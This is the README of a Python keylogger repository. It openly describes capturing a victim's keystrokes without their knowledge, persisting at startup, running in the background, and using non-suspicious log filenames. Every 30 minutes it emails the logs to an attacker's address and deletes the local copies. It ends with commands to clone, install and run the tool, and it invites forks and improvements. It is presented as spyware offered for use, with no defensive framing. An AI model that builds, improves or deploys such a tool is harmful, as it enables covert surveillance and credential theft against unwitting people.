Welcome to the simple keylogger repo! A keylogger is a program that records your keystrokes, and this program saves them in a log file on your local computer and then periodically sends the log file as an attachment to an attacker's email without the victim knowing.
It is set to load at startup so it ensures that all keystrokes is logged. It has been modified to check if there is an internet connection and if not -record all keystrokes to a log file.
Feel free to fork and improve it if you want. Be sure to check out the issues or pull requests to see if your problem has been fixed, or to help out others.
Contents- Pylog-Python-Keylogger
- The keylogger periodically sends the keystrokes of the victim to a specified email
- On startup:
- checks if python is installed
- if so then install requirements
- Then run main file as a background process
- Log file will be created with current timestamp to store all the keystrokes.
- Check if there is an internet connection then:
- Record keystrokes to a file for 30 minutes, send that file via email then delete the locally saved log file.
- If no internet connecton then log event to the log file and wait to send in the next cycle (then create new log file with title of new current timestamp)
- If there is a pause for 30 seconds save to log file ("pause")
- Listen for keystorkes in the background
- If keystroke is entered, record the keystrokes in a list and then if the activity stops for 5 seconds push the saved text to a text/log file with a filename that has a non-suspicious filename with a timestamp.
- After every 30 minutes, check if there is an internet connection
- If so then attach the saved log file to the email and send, then delete file in local storage.
- If there is no internet connection, then push text ("Victim is still offline at {timestamp}) and continue the cycle.
- How to send the keystrokes to an email?
- How to ensure that it is continuously running in the background?
- Save keystrokes to a file in current directory
- How to make python perfrom a task after every 30 minutes
- How to attach a file to the email, send it and delete log_file in current directory.
- How to set up keylogger.py to run at startup in linux
- Install it:
$ git clone https://github.com/DennisKoskei/pylog-python-keylogger.git
- Change directory to the src folder where the main keylogger.py is
cd src/
- Install the necessary modules
pip install -r requirements.txt
- Then run the main file
python keylogger.py